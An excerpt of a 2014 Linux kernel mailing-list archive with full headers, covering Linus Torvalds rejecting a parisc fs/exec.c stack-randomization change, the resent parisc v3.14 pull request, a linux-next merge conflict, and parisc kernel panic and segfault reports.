So I'm not going to pull the parisc tree, this needs to be resolved sanely.

In fact, I think that change to fs/exec.c is just completely broken:

+       /* add some more stack size for stack randomization */
+       stack_base += STACK_RND_MASK + 1;

and that "+1" just doesn't make sense, and fundamentally breaks STACK_RND_MASK.

It also seems to be entirely pointless, since the PAGE_ALIGN() that
comes right afterwards will effectively do it anyway.

So NAK on that whole fs/exec.c change. Afaik it's just wrong, and it's stupid.

                  Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
Newsgroups: gmane.linux.kernel.metag,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [GIT PULL] parisc updates for v3.14 (new pull request)
Date: Sun, 2 Feb 2014 21:20:24 +0100
Lines: 83
Approved: news@gmane.org
Message-ID: <20140202202024.GA7924@p100.box>
References: <20140201202320.GA1313@p100.box>
 <CAFLxGvy7vbKmQzyNvTbk35DX5cFGS99CE=nYE_Q0c=LVuD1x9A@mail.gmail.com>
 <20140202111552.GA2221@ls3530.box>
 <CA+55aFyoR0DHsbJ8qaE5mEmveZwnxDpxapXZdxHZ-BJnE0CDLQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1391372425 20018 80.91.229.3 (2 Feb 2014 20:20:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 2 Feb 2014 20:20:25 +0000 (UTC)
Cc: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>,
	Richard Weinberger <richard.weinberger-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	James Hogan <james.hogan-1AXoQHu6uovQT0dZR+AlfA@public.gmane.org>,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Linus Torvalds <torvalds-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>,
	linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	James Bottomley <James.Bottomley-d9PhHud1JfjCXq6kfMZ53/egYHeGw8Jk@public.gmane.org>
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Sun Feb 02 21:20:30 2014
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1WA3Wo-0006L3-BP
	for glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Sun, 02 Feb 2014 21:20:30 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1752421AbaBBUU2 (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
	Sun, 2 Feb 2014 15:20:28 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:61781 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751974AbaBBUU2 (ORCPT <rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Sun, 2 Feb 2014 15:20:28 -0500
Original-Received: from p100.box ([84.173.14.157]) by mail.gmx.com (mrgmx003) with
 ESMTPSA (Nemesis) id 0M2LZc-1VI5vi2CqC-00s9VR for
 <linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>; Sun, 02 Feb 2014 21:20:26 +0100
Content-Disposition: inline
In-Reply-To: <CA+55aFyoR0DHsbJ8qaE5mEmveZwnxDpxapXZdxHZ-BJnE0CDLQ-JsoAwUIsXosN+BqQ9rBEUg@public.gmane.org>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:2F4A/ch3YES5C+TecTXjLGJDcw9ctsXY7UUR7Zc4kgFzDnExNZm
 LsVjQ7ULaoyRkMntWF7ZsCobFV1ErlvLOGjFhTf+jys1lDkI9j0rMa7UOsMspP9of9v2B9K
 8ze1/w+lRYAjme/sue5DWrFLFSAk4X/YwQCcyiIWLaC/Swp883OWUN8IC7vajctfS8/V5BK
 LN10NHRPAMSwov1vPRm6w==
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.metag:114 gmane.linux.kernel:1639012 gmane.linux.ports.parisc:5682
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/114>

Hi Linus,

* Linus Torvalds <torvalds-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>:
> On Sun, Feb 2, 2014 at 3:15 AM, Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org> wrote:
> >
> > Anyway, the suggested & untested patch below should fix the metag arch
> > to cope which my changes to fs/exec.c
> > ...
> > -#define STACK_RND_MASK (0)
> > +#define STACK_RND_MASK (-1)
> 
> I don't think that works. That completely breaks randomize_stack_top().
> So I'm not going to pull the parisc tree, this needs to be resolved sanely.
> In fact, I think that change to fs/exec.c is just completely broken:
> +       /* add some more stack size for stack randomization */
> +       stack_base += STACK_RND_MASK + 1;
> and that "+1" just doesn't make sense, and fundamentally breaks STACK_RND_MASK.
> It also seems to be entirely pointless, since the PAGE_ALIGN() that
> comes right afterwards will effectively do it anyway.
> 
> So NAK on that whole fs/exec.c change. Afaik it's just wrong, and it's stupid.

You are completely right - I have no idea what I was thinking.
I have removed completely the changes to fs/exec.c, built up a new
tree for you to pull and boot-tested it with 32- and 64bit parisc kernels.

Can you please consider pulling this new tree?
The full request follows here:
-------

Hi Linus,

please pull the latest updates for the parisc architecture from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-3.14

The three major changes in this patchset is a implementation for
flexible userspace memory maps, cache-flushing fixes (again), and a
long-discussed ABI change to make EWOULDBLOCK the same value as EAGAIN.

parisc has been the only platform where we had EWOULDBLOCK != EAGAIN to
keep HP-UX compatibility.  Since we will probably never implement full
HP-UX support, we prefer to drop this compatibility to make it easier
for us with Linux userspace programs which mostly never checked for both
values.  We don't expect major fall-outs because of this change, and if
we face some, we will simply rebuild the necessary applications in the
debian archives.

Thanks,
Helge

----------------------------------------------------------------
Guy Martin (1):
      parisc: Make EWOULDBLOCK be equal to EAGAIN on parisc

Helge Deller (5):
      parisc/sti_console: prefer Linux fonts over built-in ROM fonts
      parisc: fix cache-flushing
      parisc: wire up sched_setattr and sched_getattr
      parisc: convert uapi/asm/stat.h to use native types only
      parisc: add flexible mmap memory layout support

 arch/parisc/include/asm/cacheflush.h  |   2 -
 arch/parisc/include/asm/elf.h         |   4 +
 arch/parisc/include/asm/page.h        |   3 +-
 arch/parisc/include/asm/pgtable.h     |   1 +
 arch/parisc/include/asm/processor.h   |   2 +
 arch/parisc/include/asm/thread_info.h |  10 ++
 arch/parisc/include/uapi/asm/errno.h  |   2 +-
 arch/parisc/include/uapi/asm/stat.h   |  40 +++---
 arch/parisc/include/uapi/asm/unistd.h |   4 +-
 arch/parisc/kernel/cache.c            |  14 ++
 arch/parisc/kernel/process.c          |  21 ++-
 arch/parisc/kernel/sys_parisc.c       | 238 ++++++++++++++++++++++++++++------
 arch/parisc/kernel/syscall_table.S    |   2 +
 drivers/video/console/sticore.c       |   2 +-
 lib/fonts/Kconfig                     |   6 +-
 15 files changed, 278 insertions(+), 73 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-metag" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.kernel.next,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: linux-next: manual merge of the parisc-hd tree with Linus' tree
Date: Tue, 4 Feb 2014 11:27:18 +1100
Lines: 43
Approved: news@gmane.org
Message-ID: <20140204112718.160f82c52d5219ef8dd3a924@canb.auug.org.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; protocol="application/pgp-signature";
 micalg="PGP-SHA256";
 boundary="Signature=_Tue__4_Feb_2014_11_27_18_+1100_XE09MJpGW_2=fNSM"
X-Trace: ger.gmane.org 1391473640 31267 80.91.229.3 (4 Feb 2014 00:27:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 4 Feb 2014 00:27:20 +0000 (UTC)
Cc: linux-next@vger.kernel.org, linux-kernel@vger.kernel.org
To: Helge Deller <deller@gmx.de>,
	Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-next-owner@vger.kernel.org Tue Feb 04 01:27:27 2014
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-next-owner@vger.kernel.org>)
	id 1WATrL-00042h-4e
	for glkn-linux-next@plane.gmane.org; Tue, 04 Feb 2014 01:27:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752638AbaBDA10 (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
	Mon, 3 Feb 2014 19:27:26 -0500
Original-Received: from ozlabs.org ([203.10.76.45]:55751 "EHLO ozlabs.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751678AbaBDA1Z (ORCPT <rfc822;linux-next@vger.kernel.org>);
	Mon, 3 Feb 2014 19:27:25 -0500
Original-Received: from canb.auug.org.au (ibmaus65.lnk.telstra.net [165.228.126.9])
	(using TLSv1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by ozlabs.org (Postfix) with ESMTPSA id 5A6A12C0091;
	Tue,  4 Feb 2014 11:27:23 +1100 (EST)
X-Mailer: Sylpheed 3.4.0beta7 (GTK+ 2.24.22; i486-pc-linux-gnu)
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:30530 gmane.linux.ports.parisc:5683 gmane.linux.kernel:1639745
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.next/30530>

--Signature=_Tue__4_Feb_2014_11_27_18_+1100_XE09MJpGW_2=fNSM
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi all,

Today's linux-next merge of the parisc-hd tree got a conflict in
arch/parisc/include/asm/elf.h between commit 9dabf60dc4ab ("parisc: add
flexible mmap memory layout support") from Linus' tree and commit
13de8ec38997 ("parisc: add flexible mmap memory layout support") from the
parisc-hd tree.

It seems that this tree was rebased before being sent to Linus (I
understand why) so I will just drop the whole parisc tree for today.
Please just tidy up.

--=20
Cheers,
Stephen Rothwell                    sfr@canb.auug.org.au

--Signature=_Tue__4_Feb_2014_11_27_18_+1100_XE09MJpGW_2=fNSM
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.22 (GNU/Linux)

iQIcBAEBCAAGBQJS8DPqAAoJEMDTa8Ir7ZwVA0sP/0WeKpX6WvOCngdYLFudOrAV
Pv1Qf+W39Dh6UBsmsE1DK4abYUlL+C5iZmS51bmPLeOZy/57ijBnHueATfhrcpQ0
sWcZmGzJ5TRmXNTB2ORg264KWreyGe7YN/VwXnPxhcan2L0cMwQ2zQqk6skA+zuM
FChqDxaVQKpEgig/SudvY1GBfzlDcUfwnXiknX7fm0vkUWnIeFrFCo5p8YDM1jtW
F3CEhwfGGqNey6xX2a/yPherxpNNB0ymm4vAYNVGGLa/uqm+n+YaPHn010imgUeU
Ny9jDi1uftDKsyvWV13pfcq272v7UeyO9fKxIYDnIZ65HWoZddg6miioWimGpntO
JCLzbXS157xORvREn3fPeBLJ4TrDwMb/w6Arb9OE3jysDzldf4NhrLZXjX3Btny1
uraTHSrzhcCMwAIey6c4nCm/8awHHE4nppbqto5uZ6FMWh3v1/r0TyGZUh/fQEpn
gwek9IH7efdnJh8rWjyuKrRYClzKSQwbNeKe8P0AanUYugJKqoO5hm8II2XQRp8w
+BahgLW5/cdb5rgt0sceHBJQhg0DbaFxeK44+VOZqsCWDe0DadDTYulq6R+27pgS
EVMEikIz7tcImiOV9TD2nGDoCaZnGYYPKRNw4MMxjQSu5fEtaDwVFymDZT9bZBDj
nKk9+V1aQuTYzN8IHrTF
=nDKS
-----END PGP SIGNATURE-----

--Signature=_Tue__4_Feb_2014_11_27_18_+1100_XE09MJpGW_2=fNSM--

From - Thu Nov 08 21:10:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel.next,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: linux-next: manual merge of the parisc-hd tree with Linus' tree
Date: Tue, 04 Feb 2014 09:48:26 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <52F0A95A.8000509@gmx.de>
References: <20140204112718.160f82c52d5219ef8dd3a924@canb.auug.org.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1391503706 4461 80.91.229.3 (4 Feb 2014 08:48:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 4 Feb 2014 08:48:26 +0000 (UTC)
Cc: linux-next@vger.kernel.org, linux-kernel@vger.kernel.org
To: Stephen Rothwell <sfr@canb.auug.org.au>,
	Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-next-owner@vger.kernel.org Tue Feb 04 09:48:33 2014
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-next-owner@vger.kernel.org>)
	id 1WAbgF-0007bx-2i
	for glkn-linux-next@plane.gmane.org; Tue, 04 Feb 2014 09:48:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753868AbaBDIsa (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
	Tue, 4 Feb 2014 03:48:30 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:54229 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752394AbaBDIs3 (ORCPT <rfc822;linux-next@vger.kernel.org>);
	Tue, 4 Feb 2014 03:48:29 -0500
Original-Received: from [10.95.172.44] ([155.56.40.73]) by mail.gmx.com (mrgmx102) with
 ESMTPSA (Nemesis) id 0Li1hG-1VObkX2bXm-00n9Mw for
 <linux-next@vger.kernel.org>; Tue, 04 Feb 2014 09:48:27 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0
In-Reply-To: <20140204112718.160f82c52d5219ef8dd3a924@canb.auug.org.au>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:UD73Xp0pBYxDBrLYu2E2rChXoHUEpY95cBFItbB1DroOW6BKHJF
 TfdA8BoceNGgXOegSFtoxkN9jwAufVjx5t3e7M8aSPKaBCVH8mHGILWOA1mHY5yG2DJxO/W
 pW00h9D4EfZfv3+RhuhbhN8NZyjJdQOQD18vNVAi09sMGpsYq9LA1W8TYDNNSzdI+EAUonJ
 uCF87tmK0VFb85HtpkYDw==
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:30532 gmane.linux.ports.parisc:5684 gmane.linux.kernel:1639865
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.next/30532>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On 02/04/2014 01:27 AM, Stephen Rothwell wrote:
> Today's linux-next merge of the parisc-hd tree got a conflict in
> arch/parisc/include/asm/elf.h between commit 9dabf60dc4ab ("parisc: add
> flexible mmap memory layout support") from Linus' tree and commit
> 13de8ec38997 ("parisc: add flexible mmap memory layout support") from the
> parisc-hd tree.
> 
> It seems that this tree was rebased before being sent to Linus (I
> understand why) so I will just drop the whole parisc tree for today.
> Please just tidy up.

Thanks Stephen!

I just cleaned it up.

Helge
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.22 (GNU/Linux)
Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/

iQIcBAEBAgAGBQJS8KlaAAoJEKGDlV8wpRJBdQEP/13n4pmbCH8Aox+eFwQhi7G5
Jkc6d7DodiVsMNLVK1r/JTXhK+S+7lrQT+ccbU0GKjIHs5ROO+FuE2ZiTOAXAvAq
/maZpewxSq2f5d+gJJZ6bOy7A8N1Zj/5byuuVycz+1XF4jmOj7a+B1wD8/EDqwS3
YmwTJy+Mo7WtTm5i0qeqmExcieoAviPBmH2T4L0FnHeYSCa876kKWUSzEN2Dy1u8
E9oKwlBYdH66gywsp27P8pqnH8sAZuhq30S0q7wHjsMzXgep3poo2Yy+RCrP3Vm2
cpv7cOSgGfDMhhcJ1is0j9UfxYM3mEqThIjAZDcheLDyZ1cmfebks7BojaHBHyQt
WM7/W1LZR9JQDcvuGlDmqrAOQkOJsAdUm4+sL4tdOt2CiKqtReIqQHnCUNnO81de
PEDtkkXhOkdzu12tV0HCTVJSIXQU57/h2VobYlDu5VvYDjB1nthWhTV7l7mBlJjx
Pe0ktJZT/DHs1OWV2nkwRGH92SakPqHxIsHaQ+XyXMkuO9g9rktZ2v3pL1B/uFsA
q5z6EZ0p604kDzwlAJb+mQ5YjBgAQsxliaCayRVDvoKtCo2Rmf1CHHkmzIYyUG9P
qffk+cqdUuYzoz5wEsLCtiyFK3t6IYkW50T+iZjt4Fqm8QKqX9ysxSZLkgTi/mzF
SCQI0dteIigBYakBH1xc
=WwyM
-----END PGP SIGNATURE-----

From - Thu Nov 08 21:10:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Kernel panic with 3.13.2 and SLAB
Date: Tue, 11 Feb 2014 11:52:01 +0100
Lines: 83
Approved: news@gmane.org
Message-ID: <8885305a922f01cd7bd484e884667588@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8;
 format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1392115927 21011 80.91.229.3 (11 Feb 2014 10:52:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 11 Feb 2014 10:52:07 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 11 11:52:15 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WDAwo-0000xT-T7
	for glpp-linux-parisc@plane.gmane.org; Tue, 11 Feb 2014 11:52:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750878AbaBKKwO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 11 Feb 2014 05:52:14 -0500
Original-Received: from venus.vo.lu ([80.90.45.96]:56305 "EHLO venus.vo.lu"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750785AbaBKKwN (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 11 Feb 2014 05:52:13 -0500
Original-Received: from ibiza.lux.tuxicoman.be (vodsl-8217.vo.lu [85.93.199.25]) by venus.vo.lu with SMTP
	(version=TLS\Tls
	cipher=Aes128 bits=128);
   Tue, 11 Feb 2014 11:51:04 +0100
Original-Received: from cartman.lux.tuxicoman.be ([172.18.0.2] helo=webmail.tuxicoman.be)
	by ibiza.lux.tuxicoman.be with esmtp (Exim 4.80.1)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1WDAwb-00041s-Kk
	for linux-parisc@vger.kernel.org; Tue, 11 Feb 2014 11:52:01 +0100
X-Sender: gmsoft@tuxicoman.be
User-Agent: Roundcube Webmail/0.9.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5685
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5685>

Hi,

I've recently upgraded from 3.12.4 to 3.13.2 and the kernel did not boot 
with the exact same config.

Here is an excerpt of the panic :

[    9.080000] ------------[ cut here ]------------
[    9.208000] WARNING: at mm/slab.c:2614
[    9.208000] Modules linked in:
[    9.348000] CPU: 3 PID: 1 Comm: swapper/0 Not tainted 3.13.2 #1
[    9.348000] task: 000000007fc75178 ti: 000000007fc78000 task.ti: 
000000007fc78000
[    9.488000]
[    9.488000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[    9.624000] PSW: 00001000000001000000000000001110 Not tainted
[    9.624000] r00-03  000000000804000e 0000000000000000 
00000000402862b4 000000007fc78650
[    9.764000] r04-07  000000004091a300 000000007fc02080 
00000001437e40e0 0000000040a64030
[    9.904000] r08-11  000000007fd4da00 00000001437e4100 
000000000000000f 000f000000000000
[   10.044000] r12-15  000000007fc02088 ffffffffc0000000 
0000000000100100 000000004096a300
[   10.044000] r16-19  0000000040969b00 00000000000001ff 
0000000040969b00 0000000000000001
[   10.184000] r20-23  0000000000000000 000000007fc020a8 
0000000000000001 bff405fd00000000
[   10.320000] r24-27  000000007fc78740 00000000006fc81c 
00000000007fc020 000000004091a300
[   10.460000] r28-31  000000023f804040 00000000409c2740 
000000007fc78770 000000007fc020a8
[   10.604000] sr00-03  0000000000000000 0000000000000000 
0000000000000000 0000000000000000
[   10.604000] sr04-07  0000000000000000 0000000000000000 
0000000000000000 0000000000000000
[   10.740000]
[   10.740000] IASQ: 0000000000000000 0000000000000000 IAOQ: 
00000000402864f8 00000000402864fc
[   10.880000]  IIR: 03ffe01f    ISR: 0000000010240000  IOR: 
0000040df93e40f8
[   11.016000]  CPU:        3   CR30: 000000007fc78000 CR31: 
ffffffffdffffaef
[   11.156000]  ORIG_R28: 000000004096a300
[   11.156000]  IAOQ[0]: cache_alloc_refill+0x4c8/0xbf8
[   11.296000]  IAOQ[1]: cache_alloc_refill+0x4cc/0xbf8
[   11.296000]  RP(r2): cache_alloc_refill+0x284/0xbf8
[   11.436000] Backtrace:
[   11.436000]  [<0000000040285fa8>] kmem_cache_alloc+0x1c8/0x250
[   11.436000]  [<0000000040257100>] kmem_cache_create_memcg+0xd0/0x3a8
[   11.576000]  [<000000004025742c>] kmem_cache_create+0x54/0x68
[   11.712000]  [<000000004011daf4>] 0x4011daf4
[   11.712000]  [<000000004015d0b4>] do_one_initcall+0x1ac/0x230
[   11.756000] random: nonblocking pool is initialized
[   11.852000]  [<0000000040101a5c>] 0x40101a5c
[   11.992000]  [<0000000040152d38>] kernel_init+0x30/0x2a0
[   11.992000]  [<000000004014b020>] end_fault_vector+0x20/0xc0
[   12.132000]  [<0000000040152d08>] kernel_init+0x0/0x2a0
[   12.132000]
[   12.132000] ---[ end trace 436196ee1e834c21 ]---



The full kernel logs can be found here : http://bpaste.net/show/177607/


And kconfig here : http://bpaste.net/show/177929/


I switched from SLAB to SLUB and the problem went away. However, this 
used to work in 3.12.4.


Regards,
   Guy



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 3.12.8 is doing nasty things
Date: Tue, 11 Feb 2014 16:30:08 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <2638727.5eeStlFCSi@caliban.sf-tec.de>
References: <2696873.HIAXvrDslF@caliban.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart29621955.VCZKUnlm5D"; micalg="pgp-sha1"; protocol="application/pgp-signature"
X-Trace: ger.gmane.org 1392132639 2533 80.91.229.3 (11 Feb 2014 15:30:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 11 Feb 2014 15:30:39 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 11 16:30:47 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WDFIM-00087t-Fd
	for glpp-linux-parisc@plane.gmane.org; Tue, 11 Feb 2014 16:30:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752482AbaBKPaS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 11 Feb 2014 10:30:18 -0500
Original-Received: from mail.sf-mail.de ([78.47.74.12]:53398 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752475AbaBKPaP (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 11 Feb 2014 10:30:15 -0500
Original-Received: (qmail 23493 invoked from network); 11 Feb 2014 15:29:53 -0000
Original-Received: from dslb-178-003-065-195.pools.arcor-ip.net ([::ffff:178.3.65.195]:39185 HELO caliban.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.26svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Tue, 11 Feb 2014 16:29:53 +0100
User-Agent: KMail/4.12.2 (Linux/3.12.7-1.g2424219-desktop; KDE/4.12.2; x86_64; ; )
In-Reply-To: <2696873.HIAXvrDslF@caliban.sf-tec.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5686
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5686>


--nextPart29621955.VCZKUnlm5D
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

> Next week I'll try 3.13, but since it has the same changes I expect the same
> results.

I'm now on 3.13.2 and things are similar. While I did an initial test with 100 
invocations of ssh which went flawlessly I now see random process errors again. 
Examples can be found here: 
http://my.cdash.org/index.php?project=Qsmtp&date=2014-02-11

Normally the reports should have arrived much earlier, but for an unknown 
reason the resolv.conf (generated by DHCP) was empty, I assume that the DHCP 
process has failed during while renewing the IP address. The segfaults during 
the build have not happened with the older kernel.

Greetings,

Eike
--nextPart29621955.VCZKUnlm5D
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.22 (GNU/Linux)

iEYEABECAAYFAlL6QgAACgkQXKSJPmm5/E57gwCgqC7QpzfoDAH1V+91+p0cgiFc
iOoAnjkvQqvh7xZdjPVR0iTdGv93TQEw
=1rho
-----END PGP SIGNATURE-----

--nextPart29621955.VCZKUnlm5D--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Kernel panic with 3.13.2 and SLAB
Date: Tue, 11 Feb 2014 20:41:46 +0100
Lines: 75
Approved: news@gmane.org
Message-ID: <52FA7CFA.7020007@gmx.de>
References: <8885305a922f01cd7bd484e884667588@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
